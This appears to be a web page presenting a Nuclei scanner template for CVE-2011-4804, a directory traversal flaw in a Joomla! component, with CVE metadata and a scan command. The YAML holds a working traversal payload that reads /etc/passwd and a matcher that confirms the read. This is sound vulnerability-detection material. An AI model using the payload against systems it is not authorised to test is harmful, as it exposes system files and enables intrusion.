Joomla! Component com_kp - 'Controller' Local File Inclusion

ID: CVE-2011-4804

Severity: medium

Author: daffainfo

Tags: cve,cve2011,lfi,edb,joomla,foobla

Description

A directory traversal vulnerability in the obSuggest (com_obsuggest) component before 1.8 for Joomla! allows remote attackers to read arbitrary files via a .. (dot dot) in the controller parameter to index.php.

YAML Source

id: CVE-2011-4804

info:
  name: Joomla! Component com_kp - 'Controller' Local File Inclusion
  author: daffainfo
  severity: medium
  description: A directory traversal vulnerability in the obSuggest (com_obsuggest) component before 1.8 for Joomla! allows remote attackers to read arbitrary files via a .. (dot dot) in the controller parameter to index.php.
  impact: |
    The vulnerability allows an attacker to include arbitrary local files, leading to unauthorized access to sensitive information or remote code execution.
  remediation: Upgrade to the latest version to mitigate this vulnerability.
  reference:
    - https://www.exploit-db.com/exploits/36598
    - https://nvd.nist.gov/vuln/detail/CVE-2011-4804
    - http://foobla.com/news/latest/obsuggest-1.8-security-release.html
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:2.0/AV:N/AC:L/Au:N/C:P/I:N/A:N
    cvss-score: 5
    cve-id: CVE-2011-4804
    cwe-id: CWE-22
    epss-score: 0.44913
    epss-percentile: 0.97396
    cpe: cpe:2.3:a:foobla:com_obsuggest:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: foobla
    product: com_obsuggest
  tags: cve,cve2011,lfi,edb,joomla,foobla

http:
  - method: GET
    path:
      - "{{BaseURL}}/index.php?option=com_kp&controller=../../../../../../../../../../../../etc/passwd%00"

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200
# digest: 490a004630440220446d619204159197d21d686dd9192291f23720c77b5c3d7ef07fb93eae54c008022057cf2477188f75f2156ad6e23aebf9f4327c28b6e3a961b2c800817ef030ae90:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "http/cves/2011/CVE-2011-4804.yaml"

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